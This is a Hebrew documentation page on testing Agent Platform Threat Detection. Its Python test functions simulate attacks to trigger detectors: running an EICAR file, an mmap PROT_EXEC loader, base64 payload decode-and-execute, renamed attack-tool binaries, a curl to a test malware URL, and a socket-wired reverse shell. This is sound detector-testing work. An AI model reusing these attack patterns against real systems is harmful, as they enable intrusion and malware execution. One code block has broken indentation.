בדיקה של זיהוי איומים ב-Agent Platform

בדף הזה מוסבר איך לוודא ש-Agent Platform Threat Detection פועל, על ידי הפעלה מכוונת של גלאים ובדיקה אם יש ממצאים. ‫Agent Platform Threat Detection הוא שירות מובנה של Security Command Center.

לפני שמתחילים

כדי לזהות איומים פוטנציאליים על הסוכנים של Agent Runtime, ודאו ש השירות Agent Platform Threat Detection מופעל ב-Security Command Center.

הגדרת הסביבה

כדי לבדוק את Agent Platform Threat Detection, מגדירים סוכן הדגמה שמדמה פעילות זדונית.

יצירת פרויקט והפעלת Shell

בוחרים או יוצרים פרויקט ב- Google Cloud כדי להשתמש בו לבדיקה.

כדי לבדוק את הגלאים, אתם יכולים להשתמש במסוף Google Cloud וב-Cloud Shell.

  1. נכנסים למסוףGoogle Cloud .

    כניסה למסוף Google Cloud

  2. בוחרים את הפרויקט שבו רוצים להשתמש לבדיקה.

  3. לוחצים על Activate Cloud Shell.

אפשר גם להריץ את הוראות הבדיקה ממעטפת מקומית.

הגדרת Agent Runtime

אם לא השתמשתם ב-Agent Runtime בפרויקט הזה בעבר, הגדירו את סביבת Agent Runtime לפני שתתחילו. תעדו את שם הקטגוריה של Cloud Storage שיצרתם. מומלץ גם לפעול לפי המדריך למתחילים של Agent Runtime כדי ללמוד איך לפתח ולפרוס סוכן באמצעות Vertex AI SDK.

יצירת סקריפט בדיקה

תיצרו כמה קבצים שישמשו לפריסת נציג חדש לבדיקה. כדי לעשות את זה, צריך להשתמש בכלי לעריכת טקסט, כמו nano.

  1. יוצרים קובץ חדש בשם requirements.txt עם התוכן הבא.

    google-cloud-aiplatform[agent_engines]
    google-adk
    google-genai
    aiohttp
    cloudpickle
    pydantic
    
  2. יוצרים קובץ ריק חדש בשם installation_scripts/install.sh. בחלק מהבדיקות צריך להוסיף תוכן לקובץ הזה.

  3. יוצרים קובץ חדש בשם main.py עם התוכן הבא. מחליפים את המשתנים PROJECT_ID,‏ LOCATION ו-STAGING_BUCKET. השם של קטגוריית ה-Staging חייב לכלול את הקידומת gs://.

    import asyncio
    import os
    import subprocess
    import socket
    import vertexai
    from vertexai import Client, agent_engines
    from google.adk.agents import llm_agent
    from google.adk.sessions.in_memory_session_service import InMemorySessionService
    
    # Replace with your own project, location, and staging bucket.
    LOCATION = "LOCATION"
    PROJECT_ID = "PROJECT_ID"
    # Staging bucket must have gs:// prefix
    STAGING_BUCKET = "STAGING_BUCKET"
    
    client = Client(project=PROJECT_ID, location=LOCATION)
    
    def _run_command(args, **kwargs):
      output = f"Called {' '.join(args)}\n"
      try:
        res = subprocess.run(args, capture_output=True, text=True, **kwargs)
        if res.stdout:
          output += f"Result: {res.stdout.strip()}\n"
        if res.stderr:
          output += f"Error: {res.stderr.strip()}\n"
      except subprocess.TimeoutExpired:
        output += "Command timed out as expected."
      return output
    
    # Tool to simulate threats. The function body will be replaced for individual
    # detector tests.
    def threat_detection_test():
      output = _run_command(["sleep", "60"])
      output += _run_command(["echo", "this is a fake threat"])
      output += _run_command(["sleep", "10"])
      return output
    
    root_agent = llm_agent.Agent(
        model="gemini-2.5-flash",
        name="threat_detection_test_agent",
        description="Runs threat detection test.",
        instruction="""
          You are an agent that runs a threat detection test using a fake malicious
          command.
        """,
        tools=[threat_detection_test],
    )
    
    async def main():
      vertexai.init(
        project=PROJECT_ID,
        location=LOCATION,
        staging_bucket=STAGING_BUCKET,
      )
      app = agent_engines.AdkApp(
          agent=root_agent, session_service_builder=InMemorySessionService
      )
      remote_agent = client.agent_engines.create(
          agent=app,
          config={
              "display_name": "scc_threat_test_agent",
              "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
              "requirements": [
                  "google-cloud-aiplatform[agent_engines,adk]",
                  "cloudpickle",
                  "pydantic",
              ],
              "staging_bucket": STAGING_BUCKET,
              "extra_packages": [
                  "installation_scripts/install.sh",
              ],
          },
      )
      print("Deployed agent: ", remote_agent.api_resource.name)
    
      try:
          async for event in remote_agent.async_stream_query(
              user_id="threat_detection_tester",
              message="Run the threat detection test",
          ):
            print(event)
      finally:
          client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)
    
    if __name__ == "__main__":
      asyncio.run(main())
    

הגדרת סביבה וירטואלית

  1. יוצרים ומפעילים סביבה וירטואלית של Python.

      python3 -m venv env
      source env/bin/activate
    
  2. מתקינים את יחסי התלות הנדרשים בסביבה הווירטואלית.

    pip install -r requirements.txt
    

בדיקת הסקריפט

מריצים את הסקריפט מתוך הסביבה הווירטואלית באמצעות python3 main.py. הפקודה הזו תימשך כמה דקות כדי לבנות, לפרוס ולהפעיל את נציג הבדיקה.

הסקריפט יוצר פלט של שם המשאב של הנציג שנפרס, וכמה אובייקטים של JSON, כולל תגובה של LLM ומטא-נתונים אחרים. אם נתקלתם בשגיאות שקשורות להרשאות או לפריסה בשלב הזה, עיינו בקטע פתרון בעיות כדי לדעת מה לעשות.

גלאי בדיקה

כדי לבדוק את הגלאים של Agent Platform Threat Detection, מחליפים את הקוד בפונקציה threat_detection_test בקוד שמדמה מתקפה. יכול להיות שייקח הרבה זמן לפרוס את הסקריפט ולשלוח שאילתות לסוכן. כדי לזרז את הבדיקה, אפשר לשלב את התוכן של כמה מהפונקציות האלה.

ביצוע: נוסף קובץ בינארי זדוני שהופעל

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output += _run_command(["touch", "/tmp/test_mal_file"])
  with open("/tmp/test_mal_file", "w") as f:
    f.write(eicar)
  output += _run_command(["chmod", "700", "/tmp/test_mal_file"])
  output += _run_command(["sh", "-c", "/tmp/test_mal_file"])
  output += _run_command(["sleep", "10"])
  return output

הרצה: נוספה תוכנות בסיסיות זדוניות שנטענו

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה. יכול להיות שתופיע הודעת שגיאה מ-Vertex AI SDK לגבי ניתוח התשובה, אבל הממצא עדיין נוצר.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  with open("/tmp/test_mal_lib", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/tmp/test_mal_lib"])
  output += _run_command(["sleep", "10"])
  return output

הרצה: פירצה בקונטיינר

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/botb-linux-amd64"])
  output += _run_command(["chmod", "700", "/tmp/botb-linux-amd64"])
  output += _run_command(["/tmp/botb-linux-amd64", "-autopwn"])
  output += _run_command(["sleep", "10"])
  return output

הפעלה: הפעלת כלי התקפה של Kubernetes

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/amicontained"])
  output += _run_command(["/tmp/amicontained"])
  output += _run_command(["sleep", "10"])
  return output

הפעלה: הפעלת כלי מקומי לאיסוף מידע

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/ls", "/tmp/linenum.sh"])
  output += _run_command(["/tmp/linenum.sh"])
  output += _run_command(["sleep", "10"])
  return output

Execution: Modified Malicious Binary Executed

Replace the `threat_detection_test` function in the test script, and then run the
test script.

```python
def threat_detection_test():
    eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
    output = _run_command(["sleep", "60"])
    output += _run_command(["chmod", "-R", "777", "/code"])
    with open("/code/entrypoint.sh", "w") as f:
f.write(eicar)

output += _run_command(["chmod", "700", "/code/entrypoint.sh"]) output += _run_command(["sh", "-c", "/code/entrypoint.sh"]) output += _run_command(["sleep", "10"]) return output ```

הפעלה: טעינה של ספרייה זדונית ששונתה

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה.

def threat_detection_test():
  eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
  output = _run_command(["sleep", "60"])
  output += _run_command(["chmod", "-R", "777", "/code"])
  with open("/code/entrypoint.sh", "w") as f:
    f.write(eicar)
  with open("/tmp/loader.c", "w") as f:
    f.write("""
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         struct stat sb;
         fstat(fd, &sb);
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
    """)
  output += _run_command(["gcc", "/tmp/loader.c", "-o", "/tmp/loader"])
  output += _run_command(["/tmp/loader", "/code/entrypoint.sh"])
  output += _run_command(["sleep", "10"])
  return output

הפעולה: הופעל סקיל זדוני שנוסף

הזיהויים האלה של הפעלת מיומנויות זדוניות שונים קצת מגלאים אחרים. במקום להגדיר את הלוגיקה באופן מלא בתוך threat_detection_test, עוטפים את threat_detection_test בפונקציית מפעל של Python. הסקריפט של כלי Python יטען מטען ייעודי (payload) לבדיקה באמצעות משתנה סביבה של B64_PAYLOAD במקום להטמיע אותו בקוד של הסקריפט. חשוב לייצא את B64_PAYLOAD בטרמינל של המעטפת.

export B64_PAYLOAD=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה בפונקציה create_threat_tool הבאה. מעדכנים את קוד האתחול של הסקריפט בתחתית הסקריפט כדי להפעיל את הכלי הזה בצורה נכונה, ומעבירים את local_payload.

import base64
def create_threat_tool(injected_payload):
    def threat_tool():
        """Runs a threat detection test by writing and executing a base64 encoded payload."""
        output = _run_command(["sleep", "60"])
        test_file = "/tmp/tmp_mal_file"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        decoded_content = base64.b64decode(b64_payload)
        with open(test_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", test_file])
        output += _run_command(["sh", "-c", test_file])
        output += _run_command(["sleep", "10"])
        output += _run_command(["sha256sum", test_file])
        output += _run_command(["rm", test_file])

        return output

    return threat_tool
if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

הרצה: הרצת סקיל זדוני ששונה

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה בפונקציה create_modified_threat_tool הבאה. מחליפים את קוד האתחול של הסקריפט בתחתית הסקריפט כדי להפעיל את הכלי הזה בצורה נכונה, ומעבירים את local_payload כמו שמוצג בדוגמה הבאה.

import base64
def create_modified_threat_tool(injected_payload):
    def modified_threat_tool():
        """Runs a threat detection test by modifying an existing file with a decoded payload and executing it."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        output += _run_command(["chmod", "700", target_file])
        output += _run_command(["sh", "-c", target_file])
        output += _run_command(["sleep", "10"])

        return output

    return modified_threat_tool
if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_tool(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

ביצוע: טעינת סקיל זדוני שנוסף

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה בפונקציה create_threat_library הבאה. מחליפים את קוד האתחול של הסקריפט בתחתית הסקריפט כדי להפעיל את הכלי הזה בצורה נכונה, ומעבירים את local_payload כמו שמוצג בדוגמה הבאה.

import base64
def create_threat_library(injected_payload):
    def threat_library():
        """Simulates loading a malicious library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        test_lib_file = "/tmp/test_mal_lib"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        decoded_content = base64.b64decode(b64_payload)

        with open(test_lib_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, test_lib_file])
        output += _run_command(["sleep", "10"])

        for f_path in [test_lib_file, loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return threat_library
if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

ביצוע: טעינת סקיל זדוני ששונה

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה בפונקציה create_modified_threat_library הבאה. מחליפים את קוד האתחול של הסקריפט בתחתית הסקריפט כדי להפעיל את הכלי הזה בצורה נכונה, ומעבירים את local_payload כמו שמוצג בדוגמה הבאה.

import base64
def create_modified_threat_library(injected_payload):
    def modified_threat_library():
        """Simulates loading a modified existing binary as a library using mmap PROT_EXEC."""
        output = _run_command(["sleep", "60"])
        target_file = "/code/entrypoint.sh"
        loader_source = "/tmp/loader.c"
        loader_bin = "/tmp/loader"

        b64_payload_str = injected_payload
        b64_payload = b64_payload_str.encode('utf-8')

        c_loader_code = """
        #include <fcntl.h>
        #include <sys/mman.h>
        #include <sys/stat.h>
        #include <unistd.h>
        #include <stdlib.h>
        int main(int argc, char *argv[]) {
            int fd = open(argv[1], O_RDONLY);
            if (fd == -1) return 1;
            struct stat sb;
            if (fstat(fd, &sb) == -1) return 1;
            void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
            if (addr == MAP_FAILED) return 1;
            write(1, addr, sb.st_size);
            munmap(addr, sb.st_size);
            close(fd);
            return 0;
        }
        """

        output += _run_command(["chmod", "777", target_file])

        decoded_content = base64.b64decode(b64_payload)

        with open(target_file, "wb") as f:
            f.write(decoded_content)

        with open(loader_source, "w") as f:
            f.write(c_loader_code)

        output += _run_command(["gcc", loader_source, "-o", loader_bin])
        output += _run_command([loader_bin, target_file])
        output += _run_command(["sleep", "10"])

        for f_path in [loader_source, loader_bin]:
            if os.path.exists(f_path):
                output += _run_command(["rm", f_path])

        return output

    return modified_threat_library
if __name__ == "__main__":
  local_payload = os.environ.get("B64_PAYLOAD")

  if not local_payload:
      raise ValueError("Local B64_PAYLOAD environment variable is missing. Export it first.")

  threat_tool_instance = create_modified_threat_library(local_payload)

  root_agent = llm_agent.Agent(
      model="gemini-2.5-flash",
      name="threat_detection_test_agent",
      description="Runs threat detection test.",
      instruction="""
        You are an agent that runs multiple threat detection tests using a fake malicious
        command.
      """,
      tools=[
        threat_tool_instance,
      ],
  )
  asyncio.run(main())

זוהתה כתובת URL זדונית

מעדכנים את הקובץ installation_scripts/install.sh עם התוכן הבא.

#!/bin/bash
apt-get install -y curl --no-install-recommends

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה.

def threat_detection_test():
  url = "https://testsafebrowsing.appspot.com/s/malware.html"
  output = _run_command(["sleep", "60"])
  output += _run_command(["curl", url])
  output += _run_command(["sleep", "10"])
  return output

Reverse Shell

מחליפים את הפונקציה threat_detection_test בסקריפט הבדיקה, ואז מריצים את סקריפט הבדיקה.

def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["cp", "/bin/echo", "/tmp/sh"])
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("8.8.8.8", 53))
  subprocess.run(["/tmp/sh"], stdin=s, stdout=s, stderr=s, timeout=5)
  output += _run_command(["sleep", "10"])
  return output

המאמרים הבאים